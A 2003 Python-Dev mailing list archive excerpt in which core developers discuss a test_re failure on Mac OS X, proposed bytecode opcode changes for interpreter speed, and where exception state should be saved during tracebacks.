    % ./python.exe ../Lib/test/test_re.py
    Running re_tests test suite

Running from regrtest fails:

    % ./python.exe ../Lib/test/regrtest.py test_re
    test_re
    test test_re produced unexpected output:
    **********************************************************************
    *** line 2 of expected output missing:
    - maximum recursion limit exceeded
    **********************************************************************
    1 test failed:
        test_re

Cranking the stack limit up as high as 32MB didn't help, though I don't
suppose it should have, given the error message.  Bumping the recursion
limit up as high as 20000 didn't help either.

Anybody else seen this?

Skip


From guido@python.org  Tue Feb 25 23:14:13 2003
From: guido@python.org (Guido van Rossum)
Date: Tue, 25 Feb 2003 18:14:13 -0500
Subject: [Spambayes] Re: [Python-Dev] Re: some preliminary timings
In-Reply-To: Your message of "Tue, 25 Feb 2003 16:52:01 CST."
 <15963.62353.100645.550074@montanaro.dyndns.org>
References: <15963.37617.384031.567676@montanaro.dyndns.org> <200302251718.h1PHIBe07657@odiug.zope.com> <15963.57541.244513.169979@montanaro.dyndns.org> <20030225221042.D1D932DDC2@cashew.wolfskeep.com>
 <15963.62353.100645.550074@montanaro.dyndns.org>
Message-ID: <200302252314.h1PNEDS18031@odiug.zope.com>

Note that spambayes/mboxutils.py imports email.Message, which
effectively imports the entire email package.  That's a lot of code
(one file per class).

--Guido van Rossum (home page: http://www.python.org/~guido/)


From tismer@tismer.com  Tue Feb 25 23:19:18 2003
From: tismer@tismer.com (Christian Tismer)
Date: Wed, 26 Feb 2003 00:19:18 +0100
Subject: [Python-Dev] Bytecode analysis
In-Reply-To: <003101c2dd1c$04214ff0$6401a8c0@damien>
References: <003101c2dd1c$04214ff0$6401a8c0@damien>
Message-ID: <3E5BF9F6.1@tismer.com>

Damien Morton wrote:
> Ive done a static analysis of the bytecodes from compiling the python
> standard library:
> 
> Python 2.2 (#28, Dec 21 2001, 12:21:22) [MSC 32 bit (Intel)] on win32
> 
> 
> Some stats about JUMP_IF_FALSE opcodes
> 
> Of the 2768 JUMP_IF_FALSE opcodes encountered, 2429 have a POP_TOP on
> both branches.
> 
> Id like to propose that JUMP_IF_FALSE consume the top-of-stack.

I'm all against changing existing opcodes for a minor
speed-up. Real speed-up is available by a specializing
compiler which turns things into real code.

If you really want to change the engine, I would consider
to emit an extra opcode and try how the change performs
against a couple of applications. I doubt the effect, since
the little POP_TOP is pretty fast.
Where you really can save some time is to shortcut some
of the very short opcodes to not jump back to the ticker
counting code, but into a shorter circle. This avoids
quite some register moves and gives some local optimization
possibilities.
I would anyway suggest not to change the semantics of
existing opcodes for just little win.

...

> Id like to propose the following opcodes be added
> LOAD_CONST(NONE)
> LOAD_CONST(1)
> LOAD_CONST(0)
> LOAD_CONST(EMPTY_STR)

I'd be careful here, too. The interpreter loop is quite
large, already, and there is a good chance to loose
locality of reference by adding a little bit of code.
I had that several times. You don't think you changed
much, but where are these 10 percent gone now?

Not trying to demoralize you completely, but there are
limits about what can be gathered by optimizing the
interpreter loop. There was once the p2c project, which
gave an overall improvement of 25-40 percent, by totally
removing the interpreter loop.

Since I knew that, I stopped wasting brain cycles on
optimizing it, because the possible win is not really
promising. There are much better ways to speed Python up.

One is to completely rewrite Python in Python and applying
a specializing compiler to everything. This is what we
are trying on pypy-dev.

cheers - chris

-- 
Christian Tismer             :^)   <mailto:tismer@tismer.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
work +49 30 89 09 53 34  home +49 30 802 86 56  pager +49 173 24 18 776
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
      whom do you want to sponsor today?   http://www.stackless.com/




From dmorton@bitfurnace.com  Tue Feb 25 23:17:22 2003
From: dmorton@bitfurnace.com (damien morton)
Date: Tue, 25 Feb 2003 18:17:22 -0500
Subject: [Python-Dev] Bytecode analysis
In-Reply-To: <15963.62775.518821.659618@montanaro.dyndns.org>
Message-ID: <003201c2dd24$0e0c6650$6401a8c0@damien>

> From: Skip Montanaro [mailto:skip@pobox.com] 
> 
>     Damien> Ive done a static analysis of the bytecodes from 
> compiling the
>     Damien> python standard library:
> 
>     ...
> 
> Nice input, but I think you should deal with dynamic opcode 
> frequencies. See the #define's in the ceval.c source for how 
> to enable that and the recent thread in c.l.py.  In short, it 
> doesn't really matter how many LOAD_CONST instructions appear 
> in the bytecode stream, only how many of them are executed.  
> While LOAD_CONST is a relatively frequently executed opcode, 
> if I recall correctly, LOAD_FAST is much more frequently 
> executed, and LOAD_CONST is already pretty fast, so adding 
> special opcodes probably won't buy you much and runs the risk 
> of disturbing what locality of reference exists.

I will indeed take a look at dynamic opcode frequencies. This is my
first stab at it, though.

I had originaly taken a look at this from a code compression
perspective. The proposals I made should result in a non-trival
reduction in the size of the compiled bytecodes. This, in turn should
result in _some_ speedup.

As you say, LOAD_FAST is a very frequently occuring instruction, both
statically and dynamically. Reducing it from a 3 byte instruction to a 1
byte instruction in 97% of (static) cases should be an overall good.

Most of the opcodes I proposed could be added without disturbing
locality of reference.

e.g.

switch (op = *p++) {
   ...
   case LOAD_FAST:
      index = (*p++) + (*p++)<<8
      goto LOAD_FAST_MAIN;
	break;
   case LOAD_FAST_0:
   case LOAD_FAST_1:
   case LOAD_FAST_15:
      index = op - LOAD_FAST_0
      LOAD_FAST_MAIN:
	...
      break;

       
}

> The LOAD_IF_FALSE issue was discussed recently (here I 
> think).  The problem is that chained operations like
> 
>     if a < b < c:
>         ...
> 
> require the value be retained.  You could get rid of the 
> separate POP_TOP instruction but it would require some work 
> in the compiler.

Those kind of chained operations are by far the minority (20% of static
cases). They can be handled by a DUP instruction before the JUMP opcode,
or a separate non-consuming JUMP opcode can be created.

> as-always-patches-are-welcome-ly, y'rs,
> 
> Skip
> 

not-quite-ready-to-push-my-hands-in-up-to-the-elbows-ly, yours

Damien



From jacobs@penguin.theopalgroup.com  Tue Feb 25 23:21:10 2003
From: jacobs@penguin.theopalgroup.com (Kevin Jacobs)
Date: Tue, 25 Feb 2003 18:21:10 -0500 (EST)
Subject: [Python-Dev] Traceback problem
In-Reply-To: <3E5BF445.5050105@tismer.com>
Message-ID: <Pine.LNX.4.44.0302251816460.15794-100000@penguin.theopalgroup.com>

On Tue, 25 Feb 2003, Christian Tismer wrote:
> We just want to clear the current exception in tstate,
> and I think your code does the right thing.
> 
> +1

Thanks for checking through the logic.

> p.s.: I would probably have done the exception saving
> in the caller's frame, where it belongs, IMHO.

I'm going to see if this is feasible.  The current method is almost
certainly more efficient, but seems very backwards.

-Kevin

-- 
--
Kevin Jacobs
The OPAL Group - Enterprise Systems Architect
Voice: (216) 986-0710 x 19         E-mail: jacobs@theopalgroup.com
Fax:   (216) 986-0714              WWW:    http://www.theopalgroup.com



From nas@python.ca  Tue Feb 25 23:50:37 2003
From: nas@python.ca (Neil Schemenauer)
Date: Tue, 25 Feb 2003 15:50:37 -0800
Subject: [Python-Dev] Bytecode analysis
In-Reply-To: <3E5BF9F6.1@tismer.com>
References: <003101c2dd1c$04214ff0$6401a8c0@damien> <3E5BF9F6.1@tismer.com>
Message-ID: <20030225235036.GA16820@glacier.arctrix.com>

Christian Tismer wrote:
> Where you really can save some time is to shortcut some
> of the very short opcodes to not jump back to the ticker
> counting code, but into a shorter circle.

2.2 -> 2.3 includes this optimization for some opcodes.

> Not trying to demoralize you completely, but there are
> limits about what can be gathered by optimizing the
> interpreter loop. There was once the p2c project, which
> gave an overall improvement of 25-40 percent, by totally
> removing the interpreter loop.

Yes, but p2c was probably not nice to the icache.  I doubt 25-40% is
an upper bound.  Memory bandwidth really sucks now (relatively
speaking).  I think reference counting is now starting to look like a
smart design (in terms of performance). :-)

  Neil


From greg@cosc.canterbury.ac.nz  Tue Feb 25 23:59:21 2003
From: greg@cosc.canterbury.ac.nz (Greg Ewing)
Date: Wed, 26 Feb 2003 12:59:21 +1300 (NZDT)
Subject: [Python-Dev] module extension search order - can it be changed?
In-Reply-To: <200302252042.h1PKgjZ08619@odiug.zope.com>
Message-ID: <200302252359.h1PNxLc13318@oma.cosc.canterbury.ac.nz>

Guido:
> Someone:
> > Speaking entirely from a point of ignorance, why are the source line #s 
> > not shown for frames that are implemented in modules loaded from 
> > zipimport?
> 
> Because the code printing the tracebacks doesn't know how to look
> inside a zip file.

Maybe, if the source file can't be found, it could
decompile the bytecode?

Greg Ewing, Computer Science Dept, +--------------------------------------+
University of Canterbury,	   | A citizen of NewZealandCorp, a	  |
Christchurch, New Zealand	   | wholly-owned subsidiary of USA Inc.  |
greg@cosc.canterbury.ac.nz	   +--------------------------------------+


From tismer@tismer.com  Wed Feb 26 00:10:34 2003
From: tismer@tismer.com (Christian Tismer)
Date: Wed, 26 Feb 2003 01:10:34 +0100
Subject: [Python-Dev] Bytecode analysis
In-Reply-To: <20030225235036.GA16820@glacier.arctrix.com>
References: <003101c2dd1c$04214ff0$6401a8c0@damien> <3E5BF9F6.1@tismer.com> <20030225235036.GA16820@glacier.arctrix.com>
Message-ID: <3E5C05FA.2090008@tismer.com>

Neil Schemenauer wrote:
> Christian Tismer wrote:
> 
>>Where you really can save some time is to shortcut some
>>of the very short opcodes to not jump back to the ticker
>>counting code, but into a shorter circle.
> 
> 
> 2.2 -> 2.3 includes this optimization for some opcodes.

Oh! *blush*
I should read more of this :-)

>>Not trying to demoralize you completely, but there are
>>limits about what can be gathered by optimizing the
>>interpreter loop. There was once the p2c project, which
>>gave an overall improvement of 25-40 percent, by totally
>>removing the interpreter loop.
> 
> 
> Yes, but p2c was probably not nice to the icache.  I doubt 25-40% is
> an upper bound.  Memory bandwidth really sucks now (relatively
> speaking).  I think reference counting is now starting to look like a
> smart design (in terms of performance). :-)

Yes, it created lots of code, and for sure, code repetition
can be helpful, if the relevant pieces are kept tightly together.
But I still doubt bigger improvements, since most of the time
is spent in the C library code. You need to optimize this
away, too.

ciao - chris

-- 
Christian Tismer             :^)   <mailto:tismer@tismer.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
work +49 30 89 09 53 34  home +49 30 802 86 56  pager +49 173 24 18 776
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
      whom do you want to sponsor today?   http://www.stackless.com/




From tismer@tismer.com  Wed Feb 26 00:17:31 2003
From: tismer@tismer.com (Christian Tismer)
Date: Wed, 26 Feb 2003 01:17:31 +0100
Subject: [Python-Dev] Traceback problem
In-Reply-To: <Pine.LNX.4.44.0302251816460.15794-100000@penguin.theopalgroup.com>
References: <Pine.LNX.4.44.0302251816460.15794-100000@penguin.theopalgroup.com>
Message-ID: <3E5C079B.8050309@tismer.com>

Kevin Jacobs wrote:
> On Tue, 25 Feb 2003, Christian Tismer wrote:
> 
>>We just want to clear the current exception in tstate,
>>and I think your code does the right thing.
>>
>>+1
> 
> 
> Thanks for checking through the logic.
> 
> 
>>p.s.: I would probably have done the exception saving
>>in the caller's frame, where it belongs, IMHO.
> 
> 
> I'm going to see if this is feasible.  The current method is almost
> certainly more efficient, but seems very backwards.

No, I didn't refer to your code, but just to the
implementation of (re)set_exc_info. I would have
understood this much easier, if the saved exception were
saved in the caller's frame. I'm not proposing a change,
but maybe a comment, why this must be saved. Yes,
probably it is most efficient to do it as it is.
(Although functions called in an exception context are
probably not the normal case which needs to be optimal).

Saving and restoring things in the callee which belong
to the caller just doesn't look very clean, and I now
also understand certain problems with old Stackless,
where this probably caused errors which were never resolved,
simply because I didn't understand this.

ciao - chris
-- 
Christian Tismer             :^)   <mailto:tismer@tismer.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
work +49 30 89 09 53 34  home +49 30 802 86 56  pager +49 173 24 18 776
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
      whom do you want to sponsor today?   http://www.stackless.com/




From bac@OCF.Berkeley.EDU  Wed Feb 26 00:29:14 2003
From: bac@OCF.Berkeley.EDU (Brett Cannon)
Date: Tue, 25 Feb 2003 16:29:14 -0800 (PST)
Subject: [Python-Dev] test_re failing again on Mac OS X
In-Reply-To: <15963.63611.477907.286500@montanaro.dyndns.org>
References: <15963.63611.477907.286500@montanaro.dyndns.org>
Message-ID: <Pine.SOL.4.53.0302251626240.11905@death.OCF.Berkeley.EDU>

[Skip Montanaro]

> I notice that test_re is failing with a recursion depth limit error on Mac
> OS X, but only when run under regrtest.py.  Running plain works:
<snip>
> Anybody else seen this?
>

I compiled at 22:54 PT yesterday and didn't have any problems running
regrtest.py.  I also just updated my CVS copy and didn't see any
re-related files updated.

I will recompile right now and run the regrtest.py to be really sure,
though.

-Brett


From jacobs@penguin.theopalgroup.com  Wed Feb 26 00:42:21 2003
From: jacobs@penguin.theopalgroup.com (Kevin Jacobs)
Date: Tue, 25 Feb 2003 19:42:21 -0500 (EST)
Subject: [Python-Dev] Traceback problem
In-Reply-To: <3E5C079B.8050309@tismer.com>
Message-ID: <Pine.LNX.4.44.0302251938550.16503-100000@penguin.theopalgroup.com>

On Wed, 26 Feb 2003, Christian Tismer wrote:
> >>p.s.: I would probably have done the exception saving
> >>in the caller's frame, where it belongs, IMHO.
> > 
> > I'm going to see if this is feasible.  The current method is almost
> > certainly more efficient, but seems very backwards.
> 
> No, I didn't refer to your code, but just to the
> implementation of (re)set_exc_info.

Actually, we're on the same page.

> I would have understood this much easier, if the saved exception were
> saved in the caller's frame. I'm not proposing a change, but maybe a
> comment, why this must be saved. Yes, probably it is most efficient to do
> it as it is. (Although functions called in an exception context are
> probably not the normal case which needs to be optimal).

Exactly.  This is why I'm fairly certain that nobody looks at the
frame.f_exc_* values, since they make no sense in the context of that frame.
It should be trivial to dereference the traceback to find the generating
frame and stow the values there.

-Kevin

-- 
--
Kevin Jacobs
The OPAL Group - Enterprise Systems Architect
Voice: (216) 986-0710 x 19         E-mail: jacobs@theopalgroup.com
Fax:   (216) 986-0714              WWW:    http://www.theopalgroup.com



From bac@OCF.Berkeley.EDU  Wed Feb 26 00:46:41 2003
From: bac@OCF.Berkeley.EDU (Brett Cannon)
Date: Tue, 25 Feb 2003 16:46:41 -0800 (PST)
Subject: [Python-Dev] test_re failing again on Mac OS X
In-Reply-To: <Pine.SOL.4.53.0302251626240.11905@death.OCF.Berkeley.EDU>
References: <15963.63611.477907.286500@montanaro.dyndns.org>
 <Pine.SOL.4.53.0302251626240.11905@death.OCF.Berkeley.EDU>
Message-ID: <Pine.SOL.4.53.0302251646030.11905@death.OCF.Berkeley.EDU>

[Brett Cannon]

> [Skip Montanaro]
>
> > I notice that test_re is failing with a recursion depth limit error on Mac
> > OS X, but only when run under regrtest.py.  Running plain works:
> <snip>
> > Anybody else seen this?
> >
> I will recompile right now and run the regrtest.py to be really sure,
> though.
>

Still no issues.  I think you are just special, Skip.  =)

-Brett


From guido@python.org  Wed Feb 26 01:22:44 2003
From: guido@python.org (Guido van Rossum)
Date: Tue, 25 Feb 2003 20:22:44 -0500
Subject: [Python-Dev] Bytecode analysis
In-Reply-To: "Your message of Wed, 26 Feb 2003 00:19:18 +0100."
 <3E5BF9F6.1@tismer.com>
References: <003101c2dd1c$04214ff0$6401a8c0@damien> <3E5BF9F6.1@tismer.com>
Message-ID: <200302260122.h1Q1Mid16221@pcp02138704pcs.reston01.va.comcast.net>

> > Some stats about JUMP_IF_FALSE opcodes
> > 
> > Of the 2768 JUMP_IF_FALSE opcodes encountered, 2429 have a POP_TOP on
> > both branches.
> > 
> > Id like to propose that JUMP_IF_FALSE consume the top-of-stack.
> 
> I'm all against changing existing opcodes for a minor
> speed-up. Real speed-up is available by a specializing
> compiler which turns things into real code.

If you are referring Psyco, I expect that it is several years before
maturity.  Currently it uses too much memory to be realistic.

> If you really want to change the engine, I would consider
> to emit an extra opcode and try how the change performs
> against a couple of applications. I doubt the effect, since
> the little POP_TOP is pretty fast.

OTOH, compared to the work that POP_TOP does, the work of decoding the
opcodes is significant.

> Where you really can save some time is to shortcut some
> of the very short opcodes to not jump back to the ticker
> counting code, but into a shorter circle. This avoids
> quite some register moves and gives some local optimization
> possibilities.

Some of that is already done (these say 'continue' instead of
'break').  But I'm sure more can be done.

> I would anyway suggest not to change the semantics of
> existing opcodes for just little win.

Why not?  The opcodes are an internal detail of the PVM, and they
change a bit with almost every Python version.

> ...
> 
> > Id like to propose the following opcodes be added
> > LOAD_CONST(NONE)
> > LOAD_CONST(1)
> > LOAD_CONST(0)
> > LOAD_CONST(EMPTY_STR)
> 
> I'd be careful here, too. The interpreter loop is quite
> large, already, and there is a good chance to loose
> locality of reference by adding a little bit of code.
> I had that several times. You don't think you changed
> much, but where are these 10 percent gone now?

Agreed.  This adds more cases to the switch and doesn't reduce the
number of opcodes to be decoded (it only reduces the number of bytes
per opcode, a very meagre gain indeed).

> Not trying to demoralize you completely, but there are
> limits about what can be gathered by optimizing the
> interpreter loop. There was once the p2c project, which
> gave an overall improvement of 25-40 percent, by totally
> removing the interpreter loop.

Yes, that's an upper bound for what you can gain by fiddling upcodes.

There are other gains possible though.  The PVM isn't just the switch
in ceval.c: it is also all the object implementations.  While most are
pretty lean, there's still fluff, e.g. in the lookup of builtins (SF
patch 597907).

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Wed Feb 26 01:24:07 2003
From: guido@python.org (Guido van Rossum)
Date: Tue, 25 Feb 2003 20:24:07 -0500
Subject: [Python-Dev] Traceback problem
In-Reply-To: "Your message of Tue, 25 Feb 2003 18:21:10 EST."
 <Pine.LNX.4.44.0302251816460.15794-100000@penguin.theopalgroup.com>
References: <Pine.LNX.4.44.0302251816460.15794-100000@penguin.theopalgroup.com>
Message-ID: <200302260124.h1Q1O7D16232@pcp02138704pcs.reston01.va.comcast.net>

> > p.s.: I would probably have done the exception saving
> > in the caller's frame, where it belongs, IMHO.
> 
> I'm going to see if this is feasible.  The current method is almost
> certainly more efficient, but seems very backwards.

Watch out though.  There are situations where an exception needs to be
stored but no frame is available (when executing purely in C).  There
is always a thread state.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Wed Feb 26 01:25:11 2003
From: guido@python.org (Guido van Rossum)
Date: Tue, 25 Feb 2003 20:25:11 -0500
Subject: [Python-Dev] Bytecode analysis
In-Reply-To: "Your message of Tue, 25 Feb 2003 18:17:22 EST."
 <003201c2dd24$0e0c6650$6401a8c0@damien>
References: <003201c2dd24$0e0c6650$6401a8c0@damien>
Message-ID: <200302260125.h1Q1PB516246@pcp02138704pcs.reston01.va.comcast.net>

> As you say, LOAD_FAST is a very frequently occuring instruction, both
> statically and dynamically. Reducing it from a 3 byte instruction to a 1
> byte instruction in 97% of (static) cases should be an overall good.
> 
> Most of the opcodes I proposed could be added without disturbing
> locality of reference.
> 
> e.g.
> 
> switch (op = *p++) {
>    ...
>    case LOAD_FAST:
>       index = (*p++) + (*p++)<<8
>       goto LOAD_FAST_MAIN;
> 	break;
>    case LOAD_FAST_0:
>    case LOAD_FAST_1:
>    case LOAD_FAST_15:
>       index = op - LOAD_FAST_0
>       LOAD_FAST_MAIN:
> 	...
>       break;
> 
>        
> }

Good idea.  Can you benchmark this?

--Guido van Rossum (home page: http://www.python.org/~guido/)


From tismer@tismer.com  Wed Feb 26 02:09:36 2003
From: tismer@tismer.com (Christian Tismer)
Date: Wed, 26 Feb 2003 03:09:36 +0100
Subject: [Python-Dev] Bytecode analysis
In-Reply-To: <200302260122.h1Q1Mid16221@pcp02138704pcs.reston01.va.comcast.net>
References: <003101c2dd1c$04214ff0$6401a8c0@damien> <3E5BF9F6.1@tismer.com> <200302260122.h1Q1Mid16221@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <3E5C21E0.5010003@tismer.com>

Guido van Rossum wrote:

[Chris (not the bot)]

> I'm all against changing existing opcodes for a minor
> speed-up. Real speed-up is available by a specializing
> compiler which turns things into real code.

[Guido]
> If you are referring Psyco, I expect that it is several years before
> maturity.  Currently it uses too much memory to be realistic.

You are probably right about maturity, but I don't think
it will be years. In a month, he will be able to work
full-time on this, and I just spent a week with him
on the PyPy sprint and saw a genious fly... amazing!

...

> OTOH, compared to the work that POP_TOP does, the work of decoding the
> opcodes is significant.

Good point.

>>Where you really can save some time is to shortcut some
>>of the very short opcodes to not jump back to the ticker
>>counting code, but into a shorter circle. This avoids
>>quite some register moves and gives some local optimization
>>possibilities.
> 
> 
> Some of that is already done (these say 'continue' instead of
> 'break').  But I'm sure more can be done.

Hey, this is amazing! This was kind of the stuff that
I did to the interpreter couple of years ago, where
you really disliked anybody hacking on the core for
saving some cycles. Now I see this evolve from alone,
with some pleasure. Every path that I can dispose
with is a good patch. :-)

>>I would anyway suggest not to change the semantics of
>>existing opcodes for just little win.
> 
> 
> Why not?  The opcodes are an internal detail of the PVM, and they
> change a bit with almost every Python version.

Maybe I've become a bit conservative, trying to keep
more compatibility between versions than necessary.
There have been opcode changes from time to time,
but semantics were never changed, and new opcodes
were always added to the end of the table, so I
thought you wanted to avoid unneccessary changes
to dis.dis and friends, and maybe stay able
to run older .pycs with newer interpreters, but
I really don't insist. I just found a minor speedup
not worth the change at all.
(Hey did you expect such words from me? :-)

[locality of reference and possible code bloat]

> Agreed.  This adds more cases to the switch and doesn't reduce the
> number of opcodes to be decoded (it only reduces the number of bytes
> per opcode, a very meagre gain indeed).

Well, if we are going to refactor opcodes, it might
be worth considering to do changes that both don't increase
the number of opcodes to be executed (shorten the code objects)
and don't increase the number of opcodes to be distinguished.
Modifying the JUMP_IF_XXX is towards this goal.
There was this other proposal of CALL_METHOD (or so), which
adds an opcode but shortens interpretation and code size.
Maybe it makes sense to get rid of some more seldomly used
opcodes like BUILD_CLASS, which could be replaced by a regular
call to a special function? EXEC_STMT is a candidate as well.
This is used not so often and could be a special function
call. All the PRINT_XXX opcodes are doing some time consuming
stuff, so we could replace them by special function calls,
since the overhead doesn't count here.
They do not need to sit in the big switch.

These were just some random ideas. There are time critical,
often used opcodes, together with seldomly used ones, which
take quite some time, anyway. While compressing patterns
of the frequently used ones into fast combined opcodes
(CALL_METHOD, JUMP_IF_XXX with pop), the space of others
can be reclaimed.

>>Not trying to demoralize you completely, but there are
>>limits about what can be gathered by optimizing the
>>interpreter loop. There was once the p2c project, which
>>gave an overall improvement of 25-40 percent, by totally
>>removing the interpreter loop.
> 
> 
> Yes, that's an upper bound for what you can gain by fiddling upcodes.

Which made opcode optimization rather pointless for me,
and I stopped hacking on this.

> There are other gains possible though.  The PVM isn't just the switch
> in ceval.c: it is also all the object implementations.  While most are
> pretty lean, there's still fluff, e.g. in the lookup of builtins (SF
> patch 597907).

And specialized string-only namespaces, cached method lookups,
melting down local variables into primitive C types, ...
there are tons of stuff which I could add, but I don't want
to try this in C. Python is much better for prototyping. :-)

cheers - chris

-- 
Christian Tismer             :^)   <mailto:tismer@tismer.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
work +49 30 89 09 53 34  home +49 30 802 86 56  pager +49 173 24 18 776
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
      whom do you want to sponsor today?   http://www.stackless.com/




From tismer@tismer.com  Wed Feb 26 02:19:40 2003
From: tismer@tismer.com (Christian Tismer)
Date: Wed, 26 Feb 2003 03:19:40 +0100
Subject: [Python-Dev] Traceback problem
In-Reply-To: <Pine.LNX.4.44.0302251938550.16503-100000@penguin.theopalgroup.com>
References: <Pine.LNX.4.44.0302251938550.16503-100000@penguin.theopalgroup.com>
Message-ID: <3E5C243C.7010105@tismer.com>

Kevin Jacobs wrote:
> On Wed, 26 Feb 2003, Christian Tismer wrote:
> 
>>>>p.s.: I would probably have done the exception saving
>>>>in the caller's frame, where it belongs, IMHO.
>>>
>>>I'm going to see if this is feasible.  The current method is almost
>>>certainly more efficient, but seems very backwards.
>>
>>No, I didn't refer to your code, but just to the
>>implementation of (re)set_exc_info.
> 
> 
> Actually, we're on the same page.

I understand.

>>I would have understood this much easier, if the saved exception were
>>saved in the caller's frame. I'm not proposing a change, but maybe a
>>comment, why this must be saved. Yes, probably it is most efficient to do
>>it as it is. (Although functions called in an exception context are
>>probably not the normal case which needs to be optimal).
> 
> 
> Exactly.  This is why I'm fairly certain that nobody looks at the
> frame.f_exc_* values, since they make no sense in the context of that frame.
> It should be trivial to dereference the traceback to find the generating
> frame and stow the values there.

Yeah, but Guido had some point there, which I still
have to investigate. I'm not quite sure, yet.
Will get back to it in the other thread.

cheers - chris

-- 
Christian Tismer             :^)   <mailto:tismer@tismer.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
work +49 30 89 09 53 34  home +49 30 802 86 56  pager +49 173 24 18 776
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
      whom do you want to sponsor today?   http://www.stackless.com/




From guido@python.org  Wed Feb 26 02:21:29 2003
From: guido@python.org (Guido van Rossum)
Date: Tue, 25 Feb 2003 21:21:29 -0500
Subject: [Python-Dev] Bytecode analysis
In-Reply-To: "Your message of Wed, 26 Feb 2003 03:09:36 +0100."
 <3E5C21E0.5010003@tismer.com>
References: <003101c2dd1c$04214ff0$6401a8c0@damien> <3E5BF9F6.1@tismer.com>
 <200302260122.h1Q1Mid16221@pcp02138704pcs.reston01.va.comcast.net>
 <3E5C21E0.5010003@tismer.com>
Message-ID: <200302260221.h1Q2LUk16626@pcp02138704pcs.reston01.va.comcast.net>

We should probably stop while we're chasing Fredrik away again :-),
but there could be some merit in Christian's idea of replacing some of
the more rarely-used opcodes by function calls, or by some other way
of encoding these that uses fewer cases in the switch.  But there
aren't very many of these, so I'm not sure how much it will help.
(And we should be careful not to change the semantics.)

--Guido van Rossum (home page: http://www.python.org/~guido/)



From tismer@tismer.com  Wed Feb 26 02:40:11 2003
From: tismer@tismer.com (Christian Tismer)
Date: Wed, 26 Feb 2003 03:40:11 +0100
Subject: [Python-Dev] Traceback problem
In-Reply-To: <200302260124.h1Q1O7D16232@pcp02138704pcs.reston01.va.comcast.net>
References: <Pine.LNX.4.44.0302251816460.15794-100000@penguin.theopalgroup.com> <200302260124.h1Q1O7D16232@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <3E5C290B.9010802@tismer.com>

Guido van Rossum wrote:
> p.s.: I would probably have done the exception saving
> in the caller's frame, where it belongs, IMHO.
> 
> I'm going to see if this is feasible.  The current method is almost
> certainly more efficient, but seems very backwards.
> 
> 
> Watch out though.  There are situations where an exception needs to be
> stored but no frame is available (when executing purely in C).  There
> is always a thread state.

I've been sitting a while over this puzzle now.

tstate has two different kinds of exceptions:
There are tstate->exc_XXX and tstate->curexc_XXX.

I have been searching through the whole source trunk
to validate my thought:

All internal stuff is only concerned with handling
tstate->curexc_XXX.
The tstate->exc_XXX is *only* used in ceval.c .

References to tstate->exc_XXX are only in
pystate.c (clearing stuff) and sysmodule.c (accessing stuff).
The only place where tstate->exc_XXX is filled with life
is ceval.c, which indicates that this is purely interpreter-
-related and has nothing to do with the internal exception
state. It is eval_frame which checks for exceptions, normalizes
them and turns them into interpreter-level exceptions,
around line 2360 of ceval.c .

After stating that, I conclude that tstate.exc_XXX can only
be in use if there is an existing interpreter with an existing
frame. Nobody else makes use of this structure.
So, whenever you have to save this, you can expect a valid
frame waiting in f_back that will be able to take it.

(This all under the maybe false assumption that I'm not wrong).

Still not proposing a change. But thanks for the time,
I understood quite a lot more of the internals, now.

all the best -- chris

-- 
Christian Tismer             :^)   <mailto:tismer@tismer.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
work +49 30 89 09 53 34  home +49 30 802 86 56  pager +49 173 24 18 776
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
      whom do you want to sponsor today?   http://www.stackless.com/




From nas@python.ca  Wed Feb 26 02:59:56 2003
From: nas@python.ca (Neil Schemenauer)
Date: Tue, 25 Feb 2003 18:59:56 -0800
Subject: [Python-Dev] Bytecode analysis
In-Reply-To: <200302260122.h1Q1Mid16221@pcp02138704pcs.reston01.va.comcast.net>
References: <003101c2dd1c$04214ff0$6401a8c0@damien> <3E5BF9F6.1@tismer.com> <200302260122.h1Q1Mid16221@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <20030226025956.GA17413@glacier.arctrix.com>

Guido van Rossum wrote:
> Some of that is already done (these say 'continue' instead of
> 'break').  But I'm sure more can be done.

I think Christian was referring to the ones that say "goto
fast_next_opcode".

  Neil


From jacobs@penguin.theopalgroup.com  Wed Feb 26 03:20:37 2003
From: jacobs@penguin.theopalgroup.com (Kevin Jacobs)
Date: Tue, 25 Feb 2003 22:20:37 -0500 (EST)
Subject: [Python-Dev] Traceback problem
In-Reply-To: <200302260124.h1Q1O7D16232@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <Pine.LNX.4.44.0302252219160.17648-100000@penguin.theopalgroup.com>

On Tue, 25 Feb 2003, Guido van Rossum wrote:
> > > p.s.: I would probably have done the exception saving
> > > in the caller's frame, where it belongs, IMHO.
> > 
> > I'm going to see if this is feasible.  The current method is almost
> > certainly more efficient, but seems very backwards.
> 
